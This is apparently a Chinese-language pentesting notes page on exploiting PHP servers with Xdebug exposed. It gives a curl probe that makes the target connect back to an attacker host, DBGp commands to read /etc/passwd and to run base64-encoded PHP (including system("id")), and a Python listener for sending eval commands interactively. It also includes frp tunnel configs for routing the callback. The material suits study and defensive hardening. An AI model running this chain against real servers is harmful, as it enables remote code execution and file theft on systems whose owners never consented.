Php Xdebug

温馨提示: 放置到公网的 PHP 环境,请务必关闭 Xdebug.

Xdebug 调试 PHP

  • 配置 xdbeug.mode 可设置 xdebug 开启的模式.
  • 配置 xdebug.start_with_request 可通过设置请求参数 XDEBUG_SESSION_START=phpstrom 或者设置环境变量 XDEBUG_SESSION=1 或者设置请求头信息 Cookie: XDEBUG_SESSION=start 等方式开启 xdebug
  • 配置 xdebug.discover_client_host, 支持通过 X-Forwarded-For 头信息获取调试客户端的地址
  • 配置 xdebug.client_host, xdebug.client_port 指定调试客户端的地址和端口
  • Xdebug 支持 dbgp 调试协议, 可以用来进行源码阅读, 执行 eval 指令, 开启交互式 shell 等危险操作
  • Xdebug 的一般配置
zend_extension=xdebug.so
[xdebug]
xdebug.mode=debug
xdebug.start_with_request=trigger ; start only XDEBUG_SESSION or XDEBUG_TRIGGER environment varibale is set
xdebug.discover_client_host=yes
xdebug.client_host=host.docker.internal
xdebug.client_port=9000
xdebug.idekey=VSCODE

Xdebug DBGp 协议

通过阅读 DBGp 的文档,我们可以注意到一些比较敏感的命令。

  • Core Commands > source
  • Extended Commands > eval
  • Extended Commands > interact - Interactive Shell
  • Core Commands > property_set

1. source -i transaction_id -f FILE_URI

transaction_id 貌似没有那么硬性的要求,每次都为 1 即可 FILE_URI 是要读取的文件的路径,需要注意的是 Xdebug 也受限于 open_basedir

source -i 1 -f file:///etc/passwd

此处也可以用 php://PHP_SCRIPT_LOCATION 来读取文件, 因而也可能用来发起 SSRF 攻击

2. eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。

3. interact

暂未研究

4. property_set

根据 Xdebug 实现的 dbgp 协议, property_set 存在一处执行 evel 命令的入口, 详见源码 handler_dbgp.c

/* Do the eval */
eval_string = xdebug_sprintf("%s = %s %s", CMD_OPTION_CHAR('n'), cast_as, new_value);
res = xdebug_do_eval(eval_string, &ret_zval);

利用方式:

property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw==
property_get -n $a -i 1 -c 1 -p 0

服务器 Xdebug 嗅探

通过一条 CURL 指令即可嗅探目标服务器是否开启了 Xdebug

curl -v "http://${TARGET_HOST}/?XDEBUG_SESSION_START=phpstrom" \
    -H "X-Forwarded-For: ${XDEBUG_CLIENT_HOST}" -H "Cookie: XDEBUG_SESSION=start"

原理简介: 服务器端开启了 Xdebug 在收到请求时, 发现请求携带了 XDEBUG_SESSION_START 参数或者 Cookie: XDEBUG_SESSION=start 头信息, 会尝试用 X-Forwarded-For 所指定的地址作为 Xdebug 的远端(xdebug client), 向其发起连接, 连接的端口为 xdebug.client_port 设置的值.

配置 Xdebug Client

即用来与目标机器 xdebug 交互的 client.

方式一: 简单的通过 nc 命令, 监听常见的 xdebug client 端口 9000, 9003

nc -lvv 9000
nc -lvv 9003

运行 CURL 嗅探请求, 当 nc 回显出类似如下的 xml 文档,即说明目标机器 xdebug 处于可利用状态.

方式二: 利用脚本文件, 实现当 xdebug 与 client 建立连接后, client 交互式的发送指令给目标机器

xdebug.py

#!/usr/bin/python3
import socket
import base64

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print("<<\n")
    print(client_data)
    print("\n")

    data = input('>> ')
    data = base64.b64encode(data.encode('utf-8'))
    print('eval -i 1 -- %s\x00' % data.decode('utf-8'))
    conn.sendall(('eval -i 1 -- %s\x00' % data.decode('utf-8')).encode('utf-8'))

利用 gofrp 实现将本机作为 xdebug client, 方便调试

frps.ini

; frps.ini
[common]
bind_port = 7000
kcp_bind_port = 7000
token = whatthefuck

fprc.ini

; frpc.ini
[common]
server_addr = xxx.xxx.xxx.xxx
server_port = 7000
token = whatthefuck

[tcp_9000]
type = tcp
local_port = 9000

[tcp_9003]
type = tcp
local_port = 9003

运行命令启动 client

python3 xdebug.py
frpc -c ./frpc.ini

接着即可用 CURL 嗅探指令来建立 xdebug 连接, 注意 X-Forwarded-For 应当指定为 frps 服务器地址

curl -v "http://${TARGET_HOST}/?XDEBUG_SESSION_START=phpstrom" \
    -H "X-Forwarded-For: ${FRPS_HOST}" -H "Cookie: XDEBUG_SESSION=start"


Last modified January 18, 2022: Add image (cb19e20)